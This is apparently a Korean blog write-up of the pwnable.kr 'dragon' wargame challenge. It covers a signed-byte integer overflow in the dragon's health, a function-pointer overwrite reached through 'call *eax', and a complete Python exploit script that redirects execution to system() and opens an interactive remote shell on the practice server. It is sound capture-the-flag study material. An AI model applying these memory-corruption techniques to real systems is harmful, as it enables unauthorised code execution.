본문 바로가기

WARGAME/Pwnable.kr

pwnable.kr dragon

dragon을 실행하면 영웅을 선택한다.

영웅은 Preist와 Knight가 있는데 게임을 해본 사람이라면 누구나 알 수 있을 것이다.

preist는 힐러 느낌이고 knight는 딜러 느낌이다

한번 preist를 선택해보자


baby dragon을 만났다 baby dragon은 체력 50에 30데미지씩 입히고 5씩 회복한다.

priest는 체력이 42에 마나가 50이다 근데 30씩 맞으면 그냥 죽으라는 소리 아닌가...스킬은 

1. 마나 10 소모하고 20데미지를 준다.

2. 마나를 회복한다.

3. 한차례 무적


다음으론 knight를 보자

이번에는 엄마 드래곤이다 체력이 80인 대신 회복력과 데미지가 조금 적다

knight를 선택하면 스킬이

1. 20데미지

2. 40데미지 , 대신 내가 20 피해봄

기사니 마나를 쓸일은 없지만 약하다

근데 잘보면 1번만 계속하면 다이브 칠 수 있다.

근데 나만 죽는다.....


아무튼 게임 설명은 이정도로하고 문제를 풀어보자!


영웅 선택하는 곳이다.

1과2를 선택하면 FightDragon 함수로 가지만

3도 있다 3은 ida로 열어봐서 알게되었다.


3번을 누르면 나타나는 함수이다. 이 함수는 3번을 눌러서 입력을 받는데 10자리만 입력받는다.

근데 39자리를 입력해야하는데 가능성이 없다. 아무튼 39자리와 맞으면 system함수를 호출한다.


fightdragon 함수는 너무 길어서 부분부분 보도록하겠다.

처음 malloc를 사용해 공간을 확보하고

나는 priest선택하면 baby dragon인줄 알았는데

소스를 통해 알았다 그냥 2번째는 mama dragon이다

그리고 중요한건 체력이 BYTE이다

byte의 범위는 127까지 인데 128이 되면 음수로 된다.

이거 보고 priest로 잘만하면 뻐길수 있을거같았다

mama dragon은 80으로 시작하니깐

계속 마나 회복하고 무적스킬쓰면 128을 정확하게 만들 수 있다!!!


그다음으론 드래곤을 잡았을 때 쓰는것이다.

v2에 메모리를 할당하고 값을 쓸 수 있다.

v5를 호출하는데 v5에 v2에서 입력한 값이 호출되게된다.

call *eax는 v5를 호출하는 곳이다. 지난번 문제에서도 call *eax를 이용했는데 여기서도 이용한다.




그럼 2번을 2번눌러서 빨리 죽고 1번을 누른다. 그럼 엄마드래곤을 priest로 만날 수 있다.

마나가 50이니 두번쓰고 회복하고 3-3-2이과정을 4번 반복하면 엄마드래곤 체력이 128이 된다.

그다음 드래곤을 잡으면 입력할 수 있는데 처음 3번을 눌렀을 때 있는 시스템 함수를 호출하게 하면된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from socket import *
from time import sleep
 
= socket(AF_INET, SOCK_STREAM)
s.connect(("pwnable.kr"9004))
# s.connect(("192.168.153.139", 3722))
 
s.send("2\n")
s.send("2\n")
s.send("1\n")
sleep(0.3)
print s.recv(4096)
 
for x in range(4):
    s.send("3\n")
    s.send("3\n")
    s.send("2\n")
 
sleep(0.3)
print s.recv(4096)
s.send("\xbf\x8d\x04\x08"+"\n")
print s.recv(1024)
sleep(1)
print s.recv(1024)
 
while 1:
    command = raw_input("tory> ")
    send = s.send(command+"\n")
    print s.recv(1024)
 
s.close()
cs


클리어!

'WARGAME > Pwnable.kr' 카테고리의 다른 글

pwnablekr codemap  (0) 2017.07.06
pwnable.kr fix  (0) 2017.01.12
pwnable.kr coin1  (0) 2017.01.09
pwnable.kr simple login  (0) 2017.01.06
pwnable.kr passcode  (0) 2016.03.29